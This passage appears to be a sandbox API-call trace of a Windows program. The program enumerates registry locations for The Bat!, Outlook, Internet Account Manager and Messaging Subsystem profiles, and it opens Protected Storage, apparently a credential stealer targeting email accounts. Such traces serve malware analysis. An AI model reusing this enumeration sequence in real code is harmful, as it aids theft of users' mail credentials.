lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.712] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe68 | out: phkResult=0x12fe68*=0x0) returned 0x2 [0079.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe3c | out: phkResult=0x12fe3c*=0x0) returned 0x2 [0079.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RIT\\The Bat!\\Users depot", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe10 | out: phkResult=0x12fe10*=0x0) returned 0x2 [0079.713] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.713] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.713] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.713] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.713] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.713] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.713] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.713] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.713] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.713] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.714] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x5e, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.714] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.714] PStoreCreateInstance () returned 0x0 [0079.714] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Account Manager\\Accounts", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.714] lstrlenA (lpString="\\") returned 1 [0079.714] lstrlenA (lpString="Software\\Microsoft\\Internet Account Manager\\Accounts") returned 52 [0079.714] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643aa8 [0079.714] lstrcpyA (in: lpString1=0x643aa8, lpString2="\\" | out: lpString1="\\") returned="\\" [0079.714] lstrcatA (in: lpString1="\\", lpString2="Software\\Microsoft\\Internet Account Manager\\Accounts" | out: lpString1="\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned="\\Software\\Microsoft\\Internet Account Manager\\Accounts" [0079.714] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Identities", phkResult=0x12fecc | out: phkResult=0x12fecc*=0x1f4) returned 0x0 [0079.715] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x12f6c4, lpcchName=0x12fec4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{74A13782-B361-4204-9DAA-0A3D49DA4337}", lpcchName=0x12fec4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.715] lstrlenA (lpString="Identities") returned 10 [0079.715] lstrlenA (lpString="\\") returned 1 [0079.715] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.715] lstrcpyA (in: lpString1=0x665780, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0079.715] lstrcatA (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0079.715] lstrlenA (lpString="Identities\\") returned 11 [0079.715] lstrlenA (lpString="{74A13782-B361-4204-9DAA-0A3D49DA4337}") returned 38 [0079.715] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643b68 [0079.715] lstrcpyA (in: lpString1=0x643b68, lpString2="Identities\\" | out: lpString1="Identities\\") returned="Identities\\" [0079.715] lstrcatA (in: lpString1="Identities\\", lpString2="{74A13782-B361-4204-9DAA-0A3D49DA4337}" | out: lpString1="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}") returned="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}" [0079.715] LocalFree (hMem=0x665780) returned 0x0 [0079.715] lstrlenA (lpString="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}") returned 49 [0079.715] lstrlenA (lpString="\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned 53 [0079.715] LocalAlloc (uFlags=0x40, uBytes=0xe7) returned 0x64d460 [0079.715] lstrcpyA (in: lpString1=0x64d460, lpString2="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}" | out: lpString1="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}") returned="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}" [0079.715] lstrcatA (in: lpString1="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}", lpString2="\\Software\\Microsoft\\Internet Account Manager\\Accounts" | out: lpString1="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}\\Software\\Microsoft\\Internet Account Manager\\Accounts" [0079.715] LocalFree (hMem=0x643b68) returned 0x0 [0079.715] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Identities\\{74A13782-B361-4204-9DAA-0A3D49DA4337}\\Software\\Microsoft\\Internet Account Manager\\Accounts", phkResult=0x12f6a8 | out: phkResult=0x12f6a8*=0x0) returned 0x2 [0079.715] LocalFree (hMem=0x64d460) returned 0x0 [0079.715] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x1, lpName=0x12f6c4, lpcchName=0x12fec4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{74A13782-B361-4204-9DAA-0A3D49DA4337}", lpcchName=0x12fec4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.715] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.715] LocalFree (hMem=0x643aa8) returned 0x0 [0079.715] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Account Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x1f4) returned 0x0 [0079.715] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Outlook", lpReserved=0x0, lpType=0x12feac, lpData=0x0, lpcbData=0x12feb0*=0x12fea0 | out: lpType=0x12feac*=0x1, lpData=0x0, lpcbData=0x12feb0*=0x36) returned 0x0 [0079.715] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x643aa8 [0079.715] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Outlook", lpReserved=0x0, lpType=0x0, lpData=0x643aa8, lpcbData=0x12feb0*=0x36 | out: lpType=0x0, lpData=0x643aa8*=0x53, lpcbData=0x12feb0*=0x36) returned 0x0 [0079.715] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.715] lstrlenA (lpString="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager") returned 53 [0079.715] lstrlenA (lpString="\\Accounts") returned 9 [0079.715] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x66b738 [0079.716] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager" | out: lpString1="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager") returned="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager" [0079.716] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager", lpString2="\\Accounts" | out: lpString1="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts") returned="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts" [0079.716] LocalFree (hMem=0x643aa8) returned 0x0 [0079.716] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", phkResult=0x12fed0 | out: phkResult=0x12fed0*=0x0) returned 0x2 [0079.716] LocalFree (hMem=0x66b738) returned 0x0 [0079.716] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.716] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", phkResult=0x12fed0 | out: phkResult=0x12fed0*=0x0) returned 0x2 [0079.716] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", phkResult=0x12fed0 | out: phkResult=0x12fed0*=0x1f4) returned 0x0 [0079.716] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0a0d020000000000c000000000000046", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.716] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.716] lstrlenA (lpString="\\") returned 1 [0079.716] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.716] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.716] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.716] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.716] lstrlenA (lpString="0a0d020000000000c000000000000046") returned 32 [0079.716] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.716] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.716] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="0a0d020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0079.716] LocalFree (hMem=0x66b738) returned 0x0 [0079.716] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned 122 [0079.716] lstrlenA (lpString="") returned 0 [0079.716] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.716] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0079.716] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046" [0079.716] LocalFree (hMem=0x66b940) returned 0x0 [0079.716] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\0a0d020000000000c000000000000046", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.716] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.716] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.716] LocalFree (hMem=0x66b738) returned 0x0 [0079.716] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x1, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.717] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.717] lstrlenA (lpString="\\") returned 1 [0079.717] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.717] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.717] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.717] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.717] lstrlenA (lpString="13dbb0c8aa05101a9bb000aa002fc45a") returned 32 [0079.717] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.717] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.717] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="13dbb0c8aa05101a9bb000aa002fc45a" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0079.717] LocalFree (hMem=0x66b738) returned 0x0 [0079.717] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned 122 [0079.717] lstrlenA (lpString="") returned 0 [0079.717] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.717] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0079.717] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a" [0079.717] LocalFree (hMem=0x66b940) returned 0x0 [0079.717] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.717] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.717] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.717] LocalFree (hMem=0x66b738) returned 0x0 [0079.717] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x2, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="24f93cf8ea9a9546b93f8dc78abb6a97", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.717] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.717] lstrlenA (lpString="\\") returned 1 [0079.717] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.717] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.717] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.717] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.717] lstrlenA (lpString="24f93cf8ea9a9546b93f8dc78abb6a97") returned 32 [0079.717] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.717] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.717] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="24f93cf8ea9a9546b93f8dc78abb6a97" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97" [0079.717] LocalFree (hMem=0x66b738) returned 0x0 [0079.717] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97") returned 122 [0079.717] lstrlenA (lpString="") returned 0 [0079.717] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.717] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97" [0079.718] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97" [0079.718] LocalFree (hMem=0x66b940) returned 0x0 [0079.718] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\24f93cf8ea9a9546b93f8dc78abb6a97", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.718] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.718] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.718] LocalFree (hMem=0x66b738) returned 0x0 [0079.718] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x3, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="3517490d76624c419a828607e2a54604", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.718] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.718] lstrlenA (lpString="\\") returned 1 